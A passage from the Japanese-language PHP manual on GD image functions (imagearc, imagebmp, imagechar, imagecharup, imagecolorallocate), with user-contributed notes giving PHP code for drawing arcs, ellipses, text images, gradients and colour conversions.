            $angle1 = atan($ny2/$nx2);
            $A1 = abs($nx2/cos ($angle1));
            $B1 = abs($ny2/sin ($angle1));
            $angle2 = atan($height/$nx1);
            $A2 = abs ($nx1/cos ($angle2));
            $B2 = abs($ny1/sin ($angle2));
        }

        if (abs($A1 - $A2) < $presicion && abs ($B1 - $B2) < $presicion) {
            ImageArc($image, $cx, $cy, $A1*2, $B1*2, 180+rad2deg($angle2), 360-rad2deg($angle1), $color);
        }
    }
}
23-Jan-2003 08:55
Please note that in order to draw a complete circle or ellipse (without using the imageellipse) you mustn't use 0? for both s and e. If you do this you will get, umm, nothing. Instead set s to 0? and e to 360? to get a complete circle or ellipse.
jinny at 263 dot net 13-May-2002 10:27
imagesetstyle() sets the style to be used by all line drawing functions when drawing with the special color .

Here goes a example of drawing a dashed-line circle.enjoy!

<?php

header("Content-type: image/jpeg");
$im = imagecreate(100,100);

$b   = imagecolorallocate ($im, 0, 0, 0);
$w   = imagecolorallocate ($im, 255, 255, 255);

$style = array ($b,$b,$b,$b,$b,$w,$w,$w,$w,$w);

imagesetstyle ($im, $style);

imagearc($im,50,50,100,100,0,360,IMG_COLOR_STYLED);

imagejpeg($im);
imagedestroy($im);
?>
arve at skogvold dot as 30-Nov-2001 01:04
I found a better way for drawing a pie chart:

header ("Content-type: image/png");
$diameter = 100;
$radius = $diameter / 2;
$centerX = $radius;
$centerY = $radius;

$im = @ImageCreate ($diameter, $diameter)
    or die ("Cannot Initialize new GD image stream");

$background = ImageColorAllocate ($im, 0, 0, 0);
$red = ImageColorAllocate ($im, 176, 0, 0);

function fill_arc($start, $end, $color) {
    global $diameter, $centerX, $centerY, $im, $radius;
    imagearc($im, $centerX, $centerY, $diameter, $diameter, $start, $end, $color);
    imageline($im, $centerX, $centerY, $centerX + cos(deg2rad($start)) * $radius, $centerY + sin(deg2rad($start)) * $radius, $color);
    imageline($im, $centerX, $centerY, $centerX + cos(deg2rad($end)) * $radius, $centerY + sin(deg2rad($end)) * $radius, $color);
    imagefill ($im,$centerX + $radius * 0.5 *cos(deg2rad($start+($end-$start)/2)), $centerY + $radius * 0.5 * sin(deg2rad($start+($end-$start)/2)), $color);
    }

fill_arc(0,30,$red);
// Will make a red filled arc, starting at 0 degrees, ending at 30 degrees

ImagePng ($im);
marc at resiteit dot com 08-Nov-2001 01:04
Round cornered anti-aliased dynamically sized button.

$w=40;
$h=20;
$im = ImageCreate($w,$h);
$white=ImageColorAllocate($im,255,255,255);
ImageFilledRectangle($im,0,0,$w,$h,$white);
imagecolortransparent ($im, $white);
ImageTTFText ($im, $h+ceil($h/3)+1, 0, -1, $h-1, $col1, "arialbd.ttf", "O");
ImageTTFText ($im, $h+ceil($h/3)+1, 0, $w-$h, $h-1, $col1, "arialbd.ttf", "O");
ImageTTFText ($im, $h+ceil($h/3)+1, 0, 1, $h-1, $col1, "arialbd.ttf", "O");
ImageTTFText ($im, $h+ceil($h/3)+1, 0, $w-$h-2, $h-1, $col1, "arialbd.ttf", "O");
$points=array(
    1,round($h/2),
    round($h/4),$h-round($h/4),
    round($h/2),$h,
    $w-(round($h/2)),$h,
    $w-(round($h/4)),$h-round($h/4),
    $w-2,round($h/2),
    $w-round($h/4),round($h/4),
    $w-round($h/2),0,
    round($h/2),0,
    round($h/4),round($h/4)
);
imagefilledpolygon ($im, $points, 10, $col1);

header("content-type: image/gif");
header("Content-Disposition: filename=name.gif");
ImageGif($im);
ImageDestroy($im);
foripepe at yahoo dot com 02-Sep-2001 09:56
To fill an arc (DiameterX != DiameterY):

<?
function imagefilledarc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color) {
    // To draw the arc
    imagearc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color);
    // To close the arc with 2 lines between the center and the 2 limits of the arc
    $x = $CenterX + (cos(deg2rad($Start))*($DiameterX/2));
    $y = $CenterY + (sin(deg2rad($Start))*($DiameterY/2));
    imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
    $x = $CenterX + (cos(deg2rad($End))*($DiameterX/2));
    $y = $CenterY + (sin(deg2rad($End))*($DiameterY/2));
    imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
    // To fill the arc, the starting point is a point in the middle of the closed space
    $x = $CenterX + (cos(deg2rad(($Start+$End)/2))*($DiameterX/4));
    $y = $CenterY + (sin(deg2rad(($Start+$End)/2))*($DiameterY/4));
    imagefilltoborder($Image, $x, $y, $Color, $Color);
}
?>

To close the arc with 2 lines (DiameterX != DiameterY):

<?
function imagenofilledarc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color) {
    // To draw the arc
    imagearc($Image, $CenterX, $CenterY, $DiameterX, $DiameterY, $Start, $End, $Color);
    // To close the arc with 2 lines between the center and the 2 limits of the arc
    $x = $CenterX + (cos(deg2rad($Start))*($DiameterX/2));
    $y = $CenterY + (sin(deg2rad($Start))*($DiameterY/2));
    imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
    $x = $CenterX + (cos(deg2rad($End))*($DiameterX/2));
    $y = $CenterY + (sin(deg2rad($End))*($DiameterY/2));
    imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
}
?>

An example:
<?
    $destImage = imagecreate( 216, 152 );
    $c0 = imagecolorallocate( $destImage, 0, 255, 255 );
    $c1 = imagecolorallocate( $destImage, 0, 0, 0 );
    $c2 = imagecolorallocate( $destImage, 255, 0, 0 );
    ImageFilledRectangle ( $destImage, 0, 0, 216, 152, $c0 );
    imagefilledarc( $destImage, 108, 76, 180, 80, 0, 130, $c1 );
    imagenofilledarc( $destImage, 108, 76, 180, 80, 0, 130, $c2 );
    header("content-type: image/PNG");
    ImagePNG( $destImage );
    ImageDestroy( $destImage );
?>
nojer2 at yahoo dot com 01-Apr-2001 02:18
Here's a dashed circle function:

<?php
function dashedcircle($im, $cx, $cy, $radius, $colour, $dashsize=5) {

   $dash=false;
   for ($angle=0; $angle<=(180+$dashsize); $angle+=$dashsize) {
      $x = ($radius * cos(deg2rad($angle)));
      $y = ($radius * sin(deg2rad($angle)));

      if ($dash) {
         imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         imageline($im, $cx-$px, $cx-$py, $cx-$x, $cy-$y, $colour);
      }
      $dash=!$dash;
      $px=$x;
      $py=$y;
   }
}
?>
nojer2 at yahoo dot com 01-Apr-2001 02:06
Here's the function to draw rotated ellipses again. This time I've optimised it a bit, fixed the no-fill bug, and used a 'squishratio' rather than a 'radiusmodifier', to make the curves perfect, so ignore my previous version.

<?php
function rotatedellipse($im, $cx, $cy, $width, $height, $rotateangle, $colour, $filled=true) {
   $step=2;
   $cosangle=cos(deg2rad($rotateangle));
   $sinangle=sin(deg2rad($rotateangle));

   $squishratio = $height/$width;
   $nopreviouspoint = true;
   for ($angle=0; $angle<=(180+$step); $angle+=$step) {

      $ox = ($width * cos(deg2rad($angle)));
      $oy = ($width * sin(deg2rad($angle))) * $squishratio;

      $x =  + (($ox * $cosangle) - ($oy * $sinangle));
      $y = $centrey + (($ox * $sinangle) + ($oy * $cosangle));

      if ($nopreviouspoint) {
        $px=$x;
        $py=$y;
        $nopreviouspoint=false;
      }

      if ($filled) {
         triangle($im, $cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         triangle($im, $cx, $cy, $cx-$px, $cx-$py, $cx-$x, $cy-$y, $colour);
      } else {
         imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         imageline($im, $cx-$px, $cx-$py, $cx-$x, $cy-$y, $colour);
      }
      $px=$x;
      $py=$y;
   }
}

function triangle($im, $x1,$y1, $x2,$y2, $x3,$y3, $colour) {
   $coords = array($x1,$y1, $x2,$y2, $x3,$y3);
   imagefilledpolygon($im, $coords, 3, $colour);
}
?>
cbriou at orange-art dot fr 17-Sep-2000 07:03
There is another way to fill an arc :

<?php
// To draw the arc
$Color = imagecolorallocate($Image, $Red, $Green, $Blue);
imagearc($Image, $CenterX, $CenterY, $Diameter, $Diameter, $Start, $End, $Color);
// To close the arc with 2 lines between the center and the 2 limits of the arc
$x = $CenterX + (cos(deg2rad($Start))*($Diameter/2));
$y = $CenterY + (sin(deg2rad($Start))*($Diameter/2));
imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
$x = $CenterX + (cos(deg2rad($End))*($Diameter/2));
$y = $CenterY + (sin(deg2rad($End))*($Diameter/2));
imageline($Image, $x, $y, $CenterX, $CenterY, $Color);
// To fill the arc, the starting point is a point in the middle of the closed space
$x = $CenterX + (cos(deg2rad(($Start+$End)/2))*($Diameter/4));
$y = $CenterY + (sin(deg2rad(($Start+$End)/2))*($Diameter/4));
imagefilltoborder($Image, $x, $y, $Color, $Color);
?>
timothyhouck at yahoo dot com 16-Aug-2000 03:58
To do filled arcs, try something like this:

<?php
$diameter = 50;
imagearc($image, 25, 25, $diameter, $diameter, $start, $end, $color);
while($diameter > 0) {
  imagearc($image, 25, 25, $diameter, $diameter, $start, $start + 1, $color);
  imagearc($image, 25, 25, $diameter, $diameter, $end - 1, $end, $color);
  $diameter--;
}
?>

...well you get the point.  It's a kludge, and *very* slow, but it's free.
travis at duluth dot com 22-Dec-1999 06:36
The wierd thing is that the first two integers tell where to place the "circle".
So for example I first create the "pallet" to place the circle on.
$image = imagecreate(500, 500);
(this makes a huge 500x500 gif :) )
$colorBody = imagecolorallocate($image, 0, 0, 0);
(make the default color of the "pallet" black
$circleColor = imagecolorallocate($image, 255, 0, 255);
(going to make the circle an ugly pink color)
imagearc($image, 250, 250, 300, 300, 0, 360, $circleColor);
Places the image in the center (250,250) and the circle is 300 pixels in diameter.

Hope this helps.

Travis Kent Beste


ビットマップ画像をブラウザかファイルに出力する

  • ≪ imagearc
  • imagechar ≫
  • PHP Manual
  • GD および Image 関数
  • ビットマップ画像をブラウザかファイルに出力する

imagebmp

(PHP 7 >= 7.2.0, PHP 8)

imagebmp — ビットマップ画像をブラウザかファイルに出力する

説明

imagebmp ( resource $image , mixed $to = null , bool $compressed = true ) : bool

与えられた image のビットマップ版を保存するか出力します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

to

ファイル保存先のパスあるいはオープン中のリソース (この関数が値を戻した後で自動的にクローズされます)。省略したり null を設定したりした場合は、画像ストリームを直接出力します。

注意:

引数 compressed が指定されない場合、 null は不正な値になります。

compressed

ビットマップをランレングス法(RLE)を使って圧縮するかどうか。

返り値

成功した場合に true を、失敗した場合に false を返します。

警告

しかしながら、libgd がイメージの出力に失敗した場合、この関数は true を返します。

例

例1 ビットマップファイルを保存する

<?php
// 空の画像を生成し、いくつかテキストを加えます。
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);

imagestring($im, 1, 5, 5,  'BMP with PHP', $text_color);

// 画像を保存します。
imagebmp($im, 'php.bmp');

// メモリを解放します。
imagedestroy($im);
?>

User Contributed Notes

There are no user contributed notes for this page.


水平に文字を描画する

  • ≪ imagebmp
  • imagecharup ≫
  • PHP Manual
  • GD および Image 関数
  • 水平に文字を描画する

imagechar

(PHP 4, PHP 5, PHP 7, PHP 8)

imagechar — 水平に文字を描画する

説明

imagechar ( resource $image , int $font , int $x , int $y , string $c , int $color ) : bool

imagechar() は、画像 im 上の座標 x,y(左上が 0, 0) に color 色で c の最初の文字を描画します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

font

latin2 エンコーディングの組み込みのフォントの場合は 1, 2, 3, 4, 5 のいずれか (数字が大きなほうが、より大きいフォントに対応します)、 あるいは imageloadfont() で登録したフォントの識別子のいずれか。

x

始点の x 座標。

y

始点の y 座標。

c

描画する文字。

color

imagecolorallocate() で作成された色識別子。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagechar() の例

<?php

$im = imagecreate(100, 100);

$string = 'PHP';

$bg = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);

// 左上の角に黒で "P" を表示します
imagechar($im, 1, 0, 0, $string, $black);

header('Content-type: image/png');
imagepng($im);

?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagechar()

参考

  • imagecharup() - 垂直に文字を描画する
  • imageloadfont() - 新しいフォントを読み込む

User Contributed Notes

liam dot wiltshire at lineone dot net 29-Mar-2009 03:11
A quick function to automatically generate a multi line image from a string, with the image size automatically calculated from the string itself.

<?php

function multilineimage($string){

    // Probably not the best way of handling newlines, but bar OS9, doesn't really cause a problem
    $string = str_replace("\r","",$string);
    $string = explode("\n",$string);

    $maxlen = 0;
    foreach ($string as $str){
        if (strlen($str) > $maxlen){
            $maxlen = strlen($str);
        }
    }

    // Set font size
    $font_size = 4;

    // Create image width dependant on width of the string
    $width  = imagefontwidth($font_size)*$maxlen;
    // Set height to that of the font
    $height = imagefontheight($font_size) * count($string);
    // Create the image pallette
    $img = imagecreate($width,$height);
    // Grey background
    $bg    = imagecolorallocate($img, 205, 255, 255);
    // White font color
    $color = imagecolorallocate($img, 0, 0, 0);

    $ypos = 0;

    foreach ($string as $str){

        $len = strlen($str);
        for($i=0;$i<$len;$i++){
            // Position of the character horizontally
            $xpos = $i * imagefontwidth($font_size);
            // Draw character
            imagechar($img, $font_size, $xpos, $ypos, $str, $color);
            // Remove character from string
            $str = substr($str, 1);
        }
        $ypos = $ypos + imagefontheight($font_size);
    }

    // Return the image
    header("Content-Type: image/gif");
    imagegif($img);
    // Remove image
    imagedestroy($img);
}

multilineimage("This is an image
This is line 2\nLine 3
Line 4");

?>
sw at profilschmiede dot de 20-Jun-2005 08:35
For the sake of completeness, here is an example for imagechar.
The base-image automatically adjusts to the size and the height of the given string. Using the rand()-function the y-position of each char is slightly varied with every loop-run. You can easily rewrite the script to use a randomly generated string - the one given here just serves as an example.

<?php

$string = '1 2 3 4 5 6 7 8 9 A B C D E F G';
$font_size = 5;
$width=imagefontwidth($font_size)*strlen($string);
$height=imagefontheight($font_size)*2;
$img = imagecreate($width,$height);
$bg = imagecolorallocate($img,225,225,225);
$black = imagecolorallocate($img,0,0,0);
$len=strlen($string);

for($i=0;$i<$len;$i++)
{
    $xpos=$i*imagefontwidth($font_size);
    $ypos=rand(0,imagefontheight($font_size));
    imagechar($img,$font_size,$xpos,$ypos,$string,$black);
    $string = substr($string,1);

}
header("Content-Type: image/gif");
imagegif($img);
imagedestroy($img);
?>


垂直に文字を描画する

  • ≪ imagechar
  • imagecolorallocate ≫
  • PHP Manual
  • GD および Image 関数
  • 垂直に文字を描画する

imagecharup

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecharup — 垂直に文字を描画する

説明

imagecharup ( resource $image , int $font , int $x , int $y , string $c , int $color ) : bool

指定した画像 image の指定した位置に、 文字 c を垂直に描画します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

font

latin2 エンコーディングの組み込みのフォントの場合は 1, 2, 3, 4, 5 のいずれか (数字が大きなほうが、より大きいフォントに対応します)、 あるいは imageloadfont() で登録したフォントの識別子のいずれか。

x

始点の x 座標。

y

始点の y 座標。

c

描画する文字。

color

imagecolorallocate() で作成された色識別子。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imagecharup() の例

<?php

$im = imagecreate(100, 100);

$string = 'Note that the first letter is a N';

$bg = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);

// 白地に黒の "Z" を表示します
imagecharup($im, 3, 10, 10, $string, $black);

header('Content-type: image/png');
imagepng($im);

?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagecharup()

参考

  • imagechar() - 水平に文字を描画する
  • imageloadfont() - 新しいフォントを読み込む

User Contributed Notes

php at corzoogle dot com 16-Jun-2005 04:28
<?php
// incredibly, no one has added this.
// write a string of text vertically on an image..
// ;o)

$string = '(c) corz.org';
$font_size = 2;
$img = imagecreate(20,90);
$bg = imagecolorallocate($img,225,225,225);
$black = imagecolorallocate($img,0,0,0);

$len = strlen($string);
for ($i=1; $i<=$len; $i++) {
    imagecharup($img, $font_size, 5, imagesy($img)-($i*imagefontwidth($font_size)), $string, $black);
    $string = substr($string,1);
}
header('Content-type: image/png');
imagepng($img);
imagedestroy($img); // dudes! don't forget this!
?>


画像で使用する色を作成する

  • ≪ imagecharup
  • imagecolorallocatealpha ≫
  • PHP Manual
  • GD および Image 関数
  • 画像で使用する色を作成する

imagecolorallocate

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorallocate — 画像で使用する色を作成する

説明

imagecolorallocate ( resource $image , int $red , int $green , int $blue ) : int

指定した RGB を配色とする色の ID を返します。

imagecolorallocate() は image で表される画像上で使用する各々の色を作成する際にコールする必要があります。

注意:

imagecolorallocate() の最初のコールで パレットをもとにした画像 (imagecreate() を使用して作成した画像) で背景色がセットされます。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

red

赤コンポーネントの値。

green

緑コンポーネントの値。

blue

青コンポーネントの値。

これらの値は 0 から 255 までの整数か、あるいは 0x00 から 0XFF までの 16 進数です。

返り値

色の ID、あるいは作成に失敗した場合に false を返します。

警告

この関数は論理値 false を返す可能性がありますが、false として評価される値を返す可能性もあります。 詳細については 論理値の セクションを参照してください。この関数の返り値を調べるには ===演算子 を 使用してください。

例

例1 imagecolorallocate() の例

<?php

$im = imagecreate(100, 100);

// 背景色を赤にします
$background = imagecolorallocate($im, 255, 0, 0);

// その他の色を設定します
$white = imagecolorallocate($im, 255, 255, 255);
$black = imagecolorallocate($im, 0, 0, 0);

// 十六進で指定します
$white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);
$black = imagecolorallocate($im, 0x00, 0x00, 0x00);

?>

参考

  • imagecolorallocatealpha() - 画像で使用する色を透過度を指定して作成する
  • imagecolordeallocate() - イメージの色リソースを開放する

User Contributed Notes

divinity76 at gmail dot com 14-Mar-2016 09:30
you have VERY limited space for color indexes (255 indexes on my system, with over 10 GB ram available, cli, no memory limit), when there is no more indexes available, imagecolorallocate will return false. when you create 2x indexes with the same r/g/b, you waste this very limited space. the function below should never fail, AND never waste any color index space. if there's already an index with the rgb, it will return the existing index, else it will try allocate 1, in the event that allocation fail (presumably because all index space is used up already), it will return the closest match to what you requested, and warn you via $couldFindExact.

function myimagecolorallocate($gd,int $red,int $green,int $blue,bool &$couldFindExact=null):int{
    $ret=imagecolorexact($gd, $red, $green, $blue);
    if($ret===-1){
        $ret=imagecolorallocate($gd, $red, $green, $blue);
        if($ret===false){
            $couldFindExact=false;//out of color indexes (255 index by default..wish i knew why)
            $ret=imagecolorclosest($gd, $red, $green, $blue);
        } else {
            $couldFindExact=true;
        }
    } else {
        $couldFindExact=true;
    }
    return $ret;
}
phillip dot gooch at gmail dot com 08-Dec-2010 07:52
If you even in a situation where it's not allocating the color you want it could be because of your images color allocation table. GIF and 8-bit PNG images are very susceptible to this.

If your using an GIF and PNG try dropping a color from the table, should let you allocate another.
jahservant 13 at gmail dot com 24-Nov-2009 04:55
Note that you can only assign 255 colors to any image palette.  If you try assigning more, imagecolorallocate() will fail.

If, for example, you are randomly allocating colors, it will be wise to check if you have used up all of the colors possible.  You can use imagecolorclosest() to get the closest assigned color:
<?php
     //assign random rgb values
     $c1 = mt_rand(50,200); //r(ed)
     $c2 = mt_rand(50,200); //g(reen)
     $c3 = mt_rand(50,200); //b(lue)
     //test if we have used up palette
     if(imagecolorstotal($pic)>=255) {
          //palette used up; pick closest assigned color
          $color = imagecolorclosest($pic, $c1, $c2, $c3);
     } else {
          //palette NOT used up; assign new color
          $color = imagecolorallocate($pic, $c1, $c2, $c3);
     }
?>

Also, imagecolorallocate() will assign a new color EVERY time the function is called, even if the color already exists in the palette:
<?php
     // [...]
     imagecolorallocate($pic,125,125,125); //returns 5
     imagecolorallocate($pic,125,125,125); //returns 6
     imagecolorallocate($pic,125,125,125); //returns 7
     // [...]
     imagecolorallocate($pic,125,125,125); //returns 23
     imagecolorallocate($pic,125,125,125); //returns 25
     // [...]
     // etc...
?>

So here, imagecolorexact() is useful:
<?php
     //see if color already exists
     $color = imagecolorexact($pic, $c1, $c2, $c3);
     if($color==-1) {
          //color does not exist; allocate a new one
          $color = imagecolorallocate($pic, $c1, $c2, $c3);
     }
?>

And, for nerdy-ness sake, we can put the two ideas together:
<?php
     //assign random rgb values
     $c1 = mt_rand(50,200); //r(ed)
     $c2 = mt_rand(50,200); //g(reen)
     $c3 = mt_rand(50,200); //b(lue)
     //get color from palette
     $color = imagecolorexact($pic, $c1, $c2, $c3);
     if($color==-1) {
          //color does not exist...
          //test if we have used up palette
          if(imagecolorstotal($pic)>=255) {
               //palette used up; pick closest assigned color
               $color = imagecolorclosest($pic, $c1, $c2, $c3);
          } else {
               //palette NOT used up; assign new color
               $color = imagecolorallocate($pic, $c1, $c2, $c3);
          }
     }
?>

Or as a function:
<?php
     function createcolor($pic,$c1,$c2,$c3) {
          //get color from palette
          $color = imagecolorexact($pic, $c1, $c2, $c3);
          if($color==-1) {
               //color does not exist...
               //test if we have used up palette
               if(imagecolorstotal($pic)>=255) {
                    //palette used up; pick closest assigned color
                    $color = imagecolorclosest($pic, $c1, $c2, $c3);
               } else {
                    //palette NOT used up; assign new color
                    $color = imagecolorallocate($pic, $c1, $c2, $c3);
               }
          }
          return $color;
     }

     for($i=0; $i<1000; $i++) { //1000 because it is significantly greater than 255
          //assign random rgb values
          $c1 = mt_rand(50,200); //r(ed)
          $c2 = mt_rand(50,200); //g(reen)
          $c3 = mt_rand(50,200); //b(lue)
          //generate the color
          $color = createcolor($pic,$c1,$c2,$c3);
          //do something with color...
     }
?>
Ludo 24-Oct-2007 02:35
When working on an existant GIF images, if the number of different colours has reached the limits of the GIF format, imagecolorallocate will not use to the colour you ask her within the parameters, she will apply black !

That's a problem when generating images "on-the-fly" with many manipulations, from a GIF image.
To go round the problem, you have to convert the GIF image into a PNG one, and then you can work on the PNG and everything will be ok.

For example :
<?php
// first, convert into a PNG image
$handle = imagecreatefromgif('my_image.gif');
imagepng($handle, 'my_image.png');
imagedestroy($handle);

// then, you can work on it
$handle = imagecreatefrompng('my_image.png');
/*
* work on the image
*/
imagegif($handle);
?>
William Barath 28-Sep-2007 04:15
Lots of hsv2rgb commentary but no working example, so here's mine:

<?php // hsv2rgb example translated from ImageMagick C code
function hsv2rgb($h, $s, $v)
{
    $s /= 256.0;
    if ($s == 0.0) return array($v,$v,$v);
    $h /= (256.0 / 6.0);
    $i = floor($h);
    $f = $h - $i;
    $p = (integer)($v * (1.0 - $s));
    $q = (integer)($v * (1.0 - $s * $f));
    $t = (integer)($v * (1.0 - $s * (1.0 - $f)));
    switch($i) {
    case 0: return array($v,$t,$p);
    case 1: return array($q,$v,$p);
    case 2: return array($p,$v,$t);
    case 3: return array($p,$q,$v);
    case 4: return array($t,$p,$v);
    default: return array($v,$p,$q);
    }
}

$image = ImageCreateTrueColor(256,128);
for ($y=0; $y<64; $y++) for($x=0; $x<256; $x++){
    list($r,$g,$b) = hsv2rgb($x | 7,255,($y*4) |7);
    $color = ($r << 16 ) | ($g << 8) | $b;
    imagesetpixel($image, $x, $y-4, $color);
}
for ($y=64; $y<128; $y++) for($x=0; $x<256; $x++){
    list($r,$g,$b) = hsv2rgb($x|7,((127-$y)*4)|7,255);
    $color = ($r << 16) | ($g << 8) | $b;
    imagesetpixel($image, $x, $y-4, $color);
}
for ($y=120; $y<128; $y++) for($x=0; $x<256; $x++){
    $color = (($x |7) << 16) | (($x |7) << 8) | ($x |7);
    imagesetpixel($image, $x, $y, $color);
}
header("Content-Type: image/png");
imagepng($image);
?>
picklecj at rose-hulman dot edu 13-Jun-2007 08:15
Another solution to color limitation issues when creating gradients. This file takes width (px) and left and right colors (hex) and makes a gradient while only allocating 250 colors.

<?php
$leftR = hexdec(substr($_GET["left"],0,2));
$leftG = hexdec(substr($_GET["left"],2,2));
$leftB = hexdec(substr($_GET["left"],4,2));
$rightR = hexdec(substr($_GET["right"],0,2));
$rightG = hexdec(substr($_GET["right"],2,2));
$rightB = hexdec(substr($_GET["right"],4,2));
$image=imagecreate($_GET["width"],1);
for($i=0;$i<250;$i++) {
    $colorset[$i] = imagecolorallocate($image, $leftR + ($i*(($rightR-$leftR)/250)), $leftG + ($i*(($rightG-$leftG)/250)), $leftB + ($i*(($rightB-$leftB)/250)));
}
for($i=0;$i<($_GET["width"]);$i++) {
  imagesetpixel ($image, $i, 0, $colorset[(int)($i/($_GET["width"]/250))] );
}
header("Content-type: image/png");
imagepng($image);
imagedestroy($image);
?>

example: gradient.php?width=640&left=000000&right=FF0000

Makes a 640px-wide image that fades from black to red.
behun at webconsult dot sk 27-Aug-2006 01:56
Also, when you need more then 256 colors, use imagecreatetruecolor function. With this function you can use unlimited number of colors.
SW 13-Jan-2006 02:00
This works! A Black-Image with vertical centered white Aliased Arial-Text and same left and right margin - used for Menu-Buttons.

<?php

  function createImgText ($string="", $fontsize=0, $marginX=0, $imgH=0 , $fontfile="", $imgColorHex="", $txtColorHex=""){
    if($string!=""){
        Header("Content-type: image/png");
        //
        $spacing = 0;
          $line = array("linespacing" => $spacing);
        $box = @imageftbbox($fontsize,0,$fontfile,$string,$line)
        or die("ERROR");
        $tw=$box[4]-$box[0]; //image width
        $marginY = $imgH - (($imgH - $fontsize) / 2);
        $imgWidth = $tw + (2*$marginX);
        $im = ImageCreate($imgWidth, $imgH);
        $int = hexdec($imgColorHex);
        $arr = array("red" => 0xFF & ($int >> 0x10),
               "green" => 0xFF & ($int >> 0x8),
               "blue" => 0xFF & $int);
        $black = ImageColorAllocate($im, $arr["red"], $arr["green"], $arr["blue"]);
        $int = hexdec($txtColorHex);
        $arr = array("red" => 0xFF & ($int >> 0x10),
               "green" => 0xFF & ($int >> 0x8),
               "blue" => 0xFF & $int);
        $white = ImageColorAllocate($im, $arr["red"], $arr["green"], $arr["blue"]);
        ImageFtText($im, $fontsize, 0, $marginX, $marginY, $white, $fontfile, $string, array());
        ImagePng($im);
        ImageDestroy($im);
    }else{
        echo "ERROR!";
    }
}
createImgText ("Hello World", 9, 10, 18, "arial.ttf", "000000", "FFFFFF");
?>
mlse 15-Nov-2005 01:49
Another more general variation on the theme using the same naming conventions as the hexdec and dechex built-in functions ...

Prototype:

array hexrgb ( string hex_string )

Returns:

An associative array of the RGB components specified in hex_string.

hexrgb() example:

<?php
$rgb = hexrgb("0xAABBCC");
print_r($rgb);
?>

Output is:

Array
(
  [red] => 170
  [green] => 187
  [blue] => 204
)

Implementation:

<?php
function hexrgb ($hexstr)
{
  $int = hexdec($hexstr);

  return array("red" => 0xFF & ($int >> 0x10),
               "green" => 0xFF & ($int >> 0x8),
               "blue" => 0xFF & $int);
}
?>

The output of hexdec can then be passed to imagecolorallocate and manipulated as required.
Zigbigidorlu at hotmail dot com 06-Oct-2005 12:05
Here's a very simple and very effective code to change a HEX color to RGB.

<?php
function HEX2RGB($color){
 $color_array = array();
 $hex_color = strtoupper($color);
 for($i = 0; $i < 6; $i++){
  $hex = substr($hex_color,$i,1);
  switch($hex){
   case "A": $num = 10; break;
   case "B": $num = 11; break;
   case "C": $num = 12; break;
   case "D": $num = 13; break;
   case "E": $num = 14; break;
   case "F": $num = 15; break;
   default: $num = $hex; break;
  }
  array_push($color_array,$num);
 }
 $R = (($color_array[0] * 16) + $color_array[1]);
 $G = (($color_array[2] * 16) + $color_array[3]);
 $B = (($color_array[4] * 16) + $color_array[5]);
 return array($R,$G,$B);
 unset($color_array,$hex,$R,$G,$B);
}
?>
mail at kailashnadh dot name 28-Jun-2005 07:47
This nifty function will produce the negative of a given image!

<?php

/********************************

     Code by Kailash Nadh
     http://kailashnadh.name

     usage:
     img2neg("my_pic.jpg");

*********************************/

function img2neg($pic) {

    header("Content-type: image/jpeg");

    $source=imagecreatefromjpeg($pic);    // Source
    $width=imagesx($source);    $height=imagesy($source);

    $im = imagecreatetruecolor($width, $height);    // Our negative img in the making

    for($y=0; $y < $height; $y++) {
        for($x=0; $x < $width; $x++) {

        $colors=imagecolorsforindex($source, imagecolorat($source, $x,$y));

            // this is what makes the colors negative
            $r=255-$colors['red'];
            $g=255-$colors['green'];
            $b=255-$colors['blue'];
            $test=imagecolorallocate($im, $r,$g,$b);
            imagesetpixel($im,$x, $y, $test);
        }
    }

    imagejpeg($im);
    imagedestroy($im);
}

?>
andreoli dot carlo at libero dot it 08-Jun-2005 06:38
hsl to RGB
(not yet optimized but it function)

<?php
function hslToRgb ($h, $s, $l) {
    if ($h>240 || $h<0) return array(0,0,0);
    if ($s>240 || $s<0) return array(0,0,0);
    if ($l>240 || $l<0) return array(0,0,0);
    if ($h<=40) {
        $R=255;
        $G=(int)($h/40*256);
        $B=0;
    }
    elseif ($h>40 && $h<=80) {
        $R=(1-($h-40)/40)*256;
        $G=255;
        $B=0;
    }
    elseif ($h>80 && $h<=120) {
        $R=0;
        $G=255;
        $B=($h-80)/40*256;
    }
    elseif ($h>120 && $h<=160) {
        $R=0;
        $G=(1-($h-120)/40)*256;
        $B=255;
    }
    elseif ($h>160 && $h<=200) {
        $R=($h-160)/40*256;
        $G=0;
        $B=255;
    }
    elseif ($h>200) {
        $R=255;
        $G=0;
        $B=(1-($h-200)/40)*256;
    }
    $R=$R+(240-$s)/240*(128-$R);
    $G=$G+(240-$s)/240*(128-$G);
    $B=$B+(240-$s)/240*(128-$B);
    if ($l<120) {
        $R=($R/120)*$l;
        $G=($G/120)*$l;
        $B=($B/120)*$l;
    }
    else {
        $R=$l*((256-$R)/120)+2*$R-256;
        $G=$l*((256-$G)/120)+2*$G-256;
        $B=$l*((256-$B)/120)+2*$B-256;
    }
    if ($R<0) $R=0;
    if ($R>255) $R=255;
    if ($G<0) $G=0;
    if ($G>255) $G=255;
    if ($B<0) $B=0;
